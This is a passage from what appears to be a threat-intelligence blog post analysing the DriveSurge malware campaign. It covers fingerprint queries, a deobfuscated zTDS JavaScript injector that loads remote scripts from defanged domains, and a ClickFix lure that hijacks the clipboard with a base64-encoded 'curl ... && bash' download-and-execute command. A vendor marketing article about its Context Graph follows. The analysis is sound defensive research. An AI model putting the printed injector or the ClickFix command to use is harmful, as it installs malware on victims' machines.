‘Visitor IP check in IPGrabber database (hxxp://bseolized[.]com).’
Fingerprint 8: Server Configuration (zTDS)
We fingerprinted the specific zTDS setup, and the results confirmed the threat actor has been using the same IP address since September 13, 2025, which is not surprising, as it is also labeled as a Bulletproof Hosting IOFA.
Web Search query link datasource = ["webscan"] AND HHV = "48e9c3576c466132e2080ce519" AND jarm = "15d3fd16d29d29d00042d43d000000fe02290512647416dcf0a400ccbc0b6b" AND header.server = "nginx" AND body_analysis.body_sha256 = "0c62c11e910d7c0d6b6c9800b70e78bfd9220e1f78bd7bb34ae4c3646d05f6e5"
Web Search query results
Fingerprint 8: Malicious Inject
We observed domains serving zTDS displayed a further unique trackable pattern: web resources with the filename jsrepo and a fileparameter starting with rnd=:
This pattern has also been independently highlighted by recent Rapid7 research, which references the jsrepo pattern alongside the malicious domain cptoptious[.]com.
Web Search query link datasource = ["webresources"] AND filename = "jsrepo" AND fileparameter = "rnd=*"
Web Search web resources and filename and fileparameter query results
Obfuscation Used to Hide zTDS
We used the results from Fingerprint 8 to identify instances of this specific zTDS usage and examine a compromised website more closely. In this case, we examined one compromised site used by a medical professional (details available to law enforcement) to see if we could identify any additional malicious infrastructure. While we know this website is compromised, it is not readily apparent upon visiting, as seen in the screenshot below.
Further digging and inspection are required to find the zTDS hidden with base64-encoded strings.
Screenshot of the compromised site
After decoding this discovered JavaScript snippet, it reveals a malicious redirect and payload-injector via zTDS that targets non-administrative WordPress visitors. It uses obfuscation techniques, such as atob() decoding, a built-in JavaScript function to decode Base64 encoding, and string concatenation to assemble URLs that fetch further malicious scripts from remote domains.
The code includes a failover mechanism that cycles through multiple backup servers to ensure the payload is successfully injected and executed in the victim’s browser. The full code can be found below, showing that the payload creates the URL to inject zTDS with the jsrepo file.
// 1. Check if it already ran and ensure the user is NOT a WordPress administrator if (!window.__performance_optimizer_v6 && (window.__performance_optimizer_v6 = true, !/wordpress_logged_in_/.test(document.cookie))) { // 2. Encoded malicious zTDS domains var urls = [ "hxxps[://]newtdsone[.]shop", // index 0 "/jsrepo?rnd=", // index 1 "hxxps[://]cptoptious[.]com", // index 2 "/jsrepo?rnd=", // index 3 "hxxps[://]captioto[.]com" // index 4 ]; // Maps how to combine the strings above var patterns = [[0, 1], [2, 3], [4, 3]]; function loadPayload(index) { if (index >= patterns.length) return; try { var fullUrl = ""; var sequence = patterns[index]; // Build the URL from the array (e.g., hxxps[://]newtdsone[.]shop/jsrepo?rnd=) for (var k = 0; k < sequence.length; k++) { fullUrl += atob(urls[sequence[k]]); } // Append a random number to bypass caching var finalUrl = fullUrl + Math.random(); // 3. Synchronous Request to fetch malicious script var xhr = new XMLHttpRequest(); xhr.open("GET", finalUrl, false); // 'false' makes it synchronous (freezes the page) xhr.send(); if (xhr.status == 200) { // 4. Injected Execution var scriptElement = document.createElement("script"); scriptElement.text = xhr.responseText; document.head.appendChild(scriptElement); } else { // If one domain fails, try the next one (Failover) loadPayload(index + 1); } } catch (error) { loadPayload(index + 1); } } loadPayload(0); }
ClickFix
Using a residential IP address in a safe Windows environment, we browsed to a victim website identified by the zTDS fingerprint and triggered ClickFix.
ClickFix is a social engineering tactic where compromised websites display fake browser or software update errors to trick users into running malicious code. These overlays typically instruct the victim to copy and paste a “fix” into their terminal or PowerShell window, which then installs malware directly onto their system.
Screenshot revealing ClickFix instance and malicious code with IP 91.92.240[.]127
This instance of ClickFix attempted to pull malicious code from IP 91.92.240[.]127, which is already listed in our Bulletproof Hosting IOFA feeds.
The server returned an “Internal Error 500” at the time of our investigation, preventing further investigation of the lead. The discovery nonetheless confirms that DriveSurge also actively uses ClickFix TTPs.
ADS: Advertisement Distribution System
While investigating domains loading externally into jclforwarding[.]com, we discovered banerpanel[.]live serving what appeared to be a casino slot machine advertisement.
Screenshot of the casino slot machine ad
Triggering the panel login for banerpanel[.]live at /admin/login[.]php reveals an ADS System with a Russian-language interface, which we believe stands for “Advertisement Distribution System.”
Screenshot revealing banerpanel[.]live login
By solely pivoting on this domain in web resources, we found another unique string pattern loading the file banner-js[.]php into compromised sites.
Note: We did not create a new fingerprint for this pattern, as banerpanel[.]live is currently the only domain serving this string. As a result, a fingerprint would not likely yield any new intelligence.
Web Search query link datasource = ["webresources"] AND resource_domain = "banerpanel.live"
Web Search query results for “banerpanel[.]live”
We analyzed the “banner-js[.]php” script and found it to be a sophisticated banner management system designed to serve advertisements while aggressively filtering out bot traffic.
The system collects device metadata, including screen resolution, hardware specs, and browser environment, to create a unique fingerprint and verify human presence. By monitoring mouse movements, scrolls, and clicks, it calculates a “trust score” and displays banners only after a user’s first authentic interaction.
The system manages ad frequency via local storage to prevent repetitive displays and sends detailed telemetry, including behavioral metrics and an anti-forgery click hash, to a remote API for high-quality conversion tracking and fraudulent click prevention.
Screenshot of banerpanel[.]live
Payload and Development Server
During analysis of jcdlforwarding[.]com, we identified another suspicious hostname: testio[.]ecartdev[.]com. We attempted to enumerate various file paths to see which were active and found insights into the /login.php, /includes, and /assets pages.
Based on our analysis of these findings, as described in the following subsections, we believe the machine hosting testio.ecartdev[.]com is a payload and development server.
Path /login.php
We triggered a login panel (shown below) by visiting login[.]php after the hostname. By concealing the login panel on a non-indexed path behind a deceptively blank root, the actor has intentionally tried to hide what is likely to be a Command and Control (C2) panel.
Path /includes
We also found filenames under the /includes path, but the files could not be downloaded. The names of the files, however, offer us clues since they indicate that they provide the capabilities to obfuscate JavaScript files, which is something that is done when the malicious JavaScript injects are served through the compromised website.
Path /assets
Under the /assets path, we found the folder /assets/snippets, which contains some interesting file and folder names. This indicates that the server is likely purposed for storing malware payloads and server .html fronts to trick the victim.
In further exploring the droppers folder in /assets/snippets, we found five more folders, each storing similar files.
In the example shown below, we dive deeper into the terminal_ps1_downloader folder, where we observe the content.ps1 script, which, with minimal analysis, becomes clear that it is used to stage malware on the victim’s device.
Analyzing an Obfuscated Payload Leads to macOS Malware
Fingerprint 3 surfaces JavaScript files matching the pattern ext-b[12chars].js. Further analysis of one such file revealed heavy obfuscation.
Using Gemini AI for advanced de-obfuscation, we decoded the script’s logic, uncovering a sophisticated multi-stage attack vector. This automated analysis revealed the hardcoded URL of the payload and specific environment-checking parameters used to target macOS systems.
Environment Profiling and Fingerprinting
The script first verifies the victim’s operating system, filtering specifically for desktop macOS users and intentionally excluding mobile devices (iPads/iPhones) even if they report a Macintosh user agent. This ensures that “Spotlight” and “Terminal” instructions served later are contextually relevant to the victim’s OS, thereby increasing the success rate of the social engineering lure.
By pulling analyticsUrl dynamically from window, the attacker can rotate its tracking servers without updating the script itself. The payloadUrl points directly to the secondary-stage malware:
const analyticsUrl = window.__analyticsUrl; // Injected by a previous loader script const payloadUrl = "hxxp://46.226.166[.]57/ce3cbfc887?force=1"; // The payload server. const maliciousCmd = generateMaliciousCommand(payloadUrl);
Malicious Command Generation
The generateMaliciousCommand function prepares the actual payload. It creates a multi-stage shell command designed to download and execute a remote script. We break down the step-by-step execution as follows:
cd /tmp: Moves to a temporary directory to avoid leaving files in user folders.
curl -kfsSL: Silently downloads the secondary payload from the attacker’s C2 server.
bash: Executes the downloaded file.
rm -f: Deletes the script immediately after execution to minimize the forensic footprint.
Obfuscation: the script wraps the command in a base64 string; when pasted by the user, they see a “Verification ID” string, but the pipe (|) sends it to bash for decryption and execution.
let shellCmd = `cd /tmp && curl -kfsSL "${remoteUrl}" -o ${randomFile} && bash ${randomFile} && rm -f ${randomFile}`; let encodedCmd = btoa(unescape(encodeURIComponent(shellCmd))); return `echo 'I am not a robot - reCAPTCHA Verification ID: ${verificationId}' | base64 -D | bash`;
Clipboard Hijacking Logic
The script intercepts a click on a fake “I’m not a robot” checkbox. Instead of performing a security check, it silently replaces the user’s clipboard content with the malicious command. A modal then appears instructing the user to open Terminal and paste (⌘ + V) what they believe is a “verification code.” But because the clipboard was just hijacked, the user unknowingly pastes and runs the malware.
The payload URL we found embedded in the script, hxxp://46[.]226[.]166[.]57/ce3cbfc887?force=1 — has the SHA256 hash 7aa15de93cf85729ddf970e8d7897f69ece3ca29608f73e784a9ba40c9cea18d.
Using VirusTotal and Hybrid Analysis, we identified a second payload server previously hosting the same payloads.
While this older payload server is currently offline, it is important to note that this was the only other server found serving the same file. Using VirusTotal, we found two additional malware samples distributed by the two servers, as detailed in the table below:
Our team will continue tracking and analyzing DriveSurge’s infrastructure for malicious behavior and report new findings as our research progresses throughout 2026.
If your organization has encountered activity consistent with DriveSurge or has related intelligence to share, we’d welcome the opportunity to collaborate.
Get Started in Preemptive Cyber Defense
Interested in learning more about the Silent Push preemptive cyber defense platform?
Connect with one of our platform experts and see how Silent Push can help your team neutralize threats before they reach your perimeter.
Traditional threat intelligence usually sees only the last portion (about 5%) of an attack, with most arriving after the fact. A campaign launches, Indicators of Compromise (IOCs) surface, and security teams scramble to update their tools and handle alerts. By then, unfortunately, the window to take action has already closed.
The Silent Push Context Graph is built for the window that precedes the time to act. During a recent webinar, “Turning your SIEM Signals into Future Attack Prevention,” our solutions engineering team walked through exactly how it works inside real security stacks and shared what it reveals that traditional threat intelligence simply cannot.
Here are the five things that stood out:
1. Adversaries spend weeks building infrastructure before they attack — and that preparation is visible.
Before a phishing campaign hits an inbox or a command-and-control (C2) server receives its first callback, attackers are busy: registering domains, configuring servers, aging infrastructure. That process takes time. And because it follows consistent operational patterns, it leaves a trail.
The Context Graph tracks that trail. And rather than waiting passively for traffic to generate resolution records, Silent Push’s proprietary Passive-Aggressive DNS (PADNS) actively re-resolves every hostname it can find every single day. Layered with WHOIS data, host scan data, SSL certificates, honeypot interactions, and ASN information, those change signals make it possible to identify adversary infrastructure during the preparation phase, before an attack ever launches.
The Salt Typhoon example makes this concrete. When DarkTrace published its findings about Salt Typhoon infrastructure in October 2025, noting activity back to July, our team had already identified the same cluster in May, more than two months before the attack, and five months before public disclosure. This is what systematic infrastructure monitoring at scale can achieve. On average, we surface adversary staging infrastructure 104 days before it’s weaponized.
2. Indicators of Future Attack are not a replacement for IOCs. They’re the other side of the coin.
IOCs still matter. They’re essential for industry sharing, retro hunting, and understanding what happened during an incident. But they only describe the part of the timeline that’s already passed.
Our Indicators of Future Attack® (IOFA) describe what is being built right now, and where it is likely to be aimed next. Unlike a risk score based on domain age, IOFA are grounded in how infrastructure is actively being built and managed, identifying the same operational TTPs that adversaries use every time. Even when they rotate hosting providers or change subnets, the process stays consistent.
Used together, IOCs and IOFA give security teams a more complete picture of adversary activity. One looks back. One looks forward. You need both.
3. The Context Graph plugs directly into the tools your team already uses.
Intelligence is most useful when it can drive action. The Context Graph is designed to integrate into SIEMs, SOAR platforms, and data pipeline tools, not as a side project, but as a live feed that changes how those tools respond.
In practice, IOFA feeds flow automatically into endpoint detection lists (EDLs) for blocking. Correlation rules in your SIEM get enriched with verified infrastructure context. SOAR playbooks can trigger automated responses when an alert matches a tracked cluster. Our Threat Check API provides high-throughput true/false verdicts on any indicator, short-circuiting enrichment queues and accelerating triage without adding manual steps.
When an alert fires and already matches a known infrastructure cluster, analysts skip the enrichment queue entirely. Faster escalation, faster containment, and fewer decisions made under pressure.
4. Your own telemetry is the best seed for building intelligence.
Vendor threat feeds are built around their priorities, not yours. The infrastructure specifically targeting your organization may never appear in a shared feed.
The Context Graph addresses this by turning your internal alert data into the starting point for your own intelligence loop. Take an IP or domain that fired an alert. Query Silent Push for every related component: DNS history, WHOIS records, scan data, and infrastructure patterns. Surface everything connected to that original indicator. Push results back into your SIEM for retrospective hunting, and into your SOAR for continuous monitoring of anything new that spins up in that same cluster.
We call this the security infinity loop: detect, contextualize, hunt, respond, prevent, learn, and repeat. It’s not a one-time exercise. It’s a continuously hardening posture that gets better with every cycle. And it starts working with less data than most teams expect. In one example from the webinar, 10,000 external IP addresses and domains were enough to seed the loop and begin surfacing related infrastructure.
5. Deterministic data makes AI-assisted security actually work.
AI-assisted workflows are only as reliable as the signals feeding them. Probability scores and unverified threat feeds produce noisy automation with false positives that burn analyst hours, automated responses triggered by the wrong signals, and AI agents that draw flawed conclusions from data without clear provenance.
Our data is deterministic. An IP either resolves to a domain or it does not. A certificate configuration either matches a known adversary pattern or it does not. That kind of hard data: DNS relationships, certificate configurations, WHOIS registration patterns, and behavioral content fingerprints, gives AI agents something to actually reason from.
The difference in practice: asking a model to evaluate a flat list of IOCs produces uncertain output. Pointing an agentic workflow at the Context Graph and asking it to find everything related to a confirmed indicator produces reliable cluster enumeration, infrastructure pivoting, and investigation reports at speed. The pivot is not incremental. It is the difference between automation that generates noise and automation that generates action your team can trust.
The Bottom Line: It’s Not Theoretical; It’s Measurable
The Context Graph is not designed to replace the security stack you already have. Instead, it fills the gap that a legacy stack was never designed to cover: the preparation phase, the window between when adversaries start building their infrastructure and when they strike.
What the webinar discussion underscores is that this gap is not theoretical; it’s measurable. In the weeks of lead time, we surface before attacks launch, in the clusters that never make it into a shared feed, and in the alert queues that shrink when IOFA start flowing from the Context Graph into the tools doing the blocking.
Getting Started
With Silent Push, you can neutralize before compromise. Book a demo with our experts to see the Context Graph in action, or start exploring the data on our platform by signing up for our free Community Edition.
Enjoy the Full Webinar
If you’d like to check out the webinar, “Turn Your SIEM Signals Into Future Attack Prevention,” with our solutions engineering team, you can register to watch it on demand at your convenience.
FAQs
What is an IOFA, and how is it different from an IOC?
An IOC documents infrastructure that has already been used in an attack. This is valuable for retrospective hunting and industry sharing. IOFA identify infrastructure that is actively being staged but not yet weaponized, giving security teams the opportunity to block it before a campaign launches. The two are complementary: IOCs tell you what happened, IOFA tell you what’s coming.
How does the Context Graph identify adversary infrastructure before it is used?
The Context Graph continuously analyzes how infrastructure is built and managed across DNS, WHOIS, certificates, host scans, honeypot data, and ASN information. When management patterns match known adversary TTPs, such as consistent registration windows, shared server configurations, and recurring hosting behaviors, those clusters are flagged as IOFA. The signal is the operational process, not simply presence on a known bad list.
How much internal telemetry does a team need to get started?
Less than most teams expect. As demonstrated in the webinar, a set of 10,000 external IPs and domains observed crossing an enterprise network was enough to seed the intelligence loop, surface related infrastructure, and begin continuous monitoring. More data improves results, but the process is designed to deliver value from whatever telemetry you have available.
![Screenshot of tempmail{.]so provider, fig. 7](https://www.silentpush.com/wp-content/uploads/image-8-1.png)
![Screenshot of check.first-node9.]rocks, fig. 12](https://www.silentpush.com/wp-content/uploads/image-13-1.png)
![Screenshot of check.first-node[.]rocks, fig. 13](https://www.silentpush.com/wp-content/uploads/image-14-1.png)
![Screenshot of ztds[.]info in Russian, fig. 15](https://www.silentpush.com/wp-content/uploads/image-16-1.png)
![Screenshot revealing banerpanel[.]live login, fig. 22](https://www.silentpush.com/wp-content/uploads/image-24-1.png)
![Web Search query for banner-js[.]php, fig. 23](https://www.silentpush.com/wp-content/uploads/image-25-1.png)
![Screenshot of banerpanel[.]live, fig. 24](https://www.silentpush.com/wp-content/uploads/image-26-1.png)
